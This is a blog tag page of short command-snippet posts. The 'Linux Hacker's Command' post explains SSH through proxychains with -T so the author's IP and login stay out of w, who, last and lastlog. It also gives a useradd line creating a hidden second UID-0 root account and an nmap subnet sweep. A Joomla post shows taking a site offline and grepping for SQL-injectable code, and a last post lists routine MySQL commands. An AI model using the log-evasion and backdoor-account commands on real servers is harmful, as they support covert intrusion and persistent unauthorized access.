Posts Tagged ‘Command’

Linux Hacker’s Command

Friday, March 20th, 2009 by hejian

SSH to remote server

proxychains ssh -T login_name@Remote_IP /bin/bash -i

Use proxychains, so our IP would not be shown there. And use -T so w, who, last, lastlog will not show our account.

Create a user with root privileges

useradd -g 0 -G root,bin,daemon,sys,adm,disk,wheel -M -o -u 0 -p

Reveal subnet mathines

nmap -v -sP 192.168.0.0/24

Joomla Hacker’s command

Saturday, February 28th, 2009 by hejian

Set the site offline

sed -i -e "s/offline = '0'/offline = '1'/" /path/to/configuration.php

Find the weak code in Joomla 1.5 for SQL injection

grep 'JRequest::getInt([^,]*,[^,]*);’ . -r

Common used mysql command

Monday, February 19th, 2007 by hejian

Create database and user
Create database:

shell> mysqladmin -u root -p create xxx

Create user:

mysql> GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,ALTER,INDEX,CREATE TEMPORARY TABLES,LOCK TABLES ON xxx.* TO 'user'@'localhost' IDENTIFIED BY 'password';

Check and modify the field definition
Get the information about the fields in a table:

mysql> DESC tbl_name;

Change the field definition of an existing table:

mysql> ALTER TABLE tbl_name CHANGE old_col_name new_col_name col_type

Add new field:

mysql> ALTER TABLE tbl_name ADD col_name col_type AFTER old_col_name

Wordpress template made by HeJian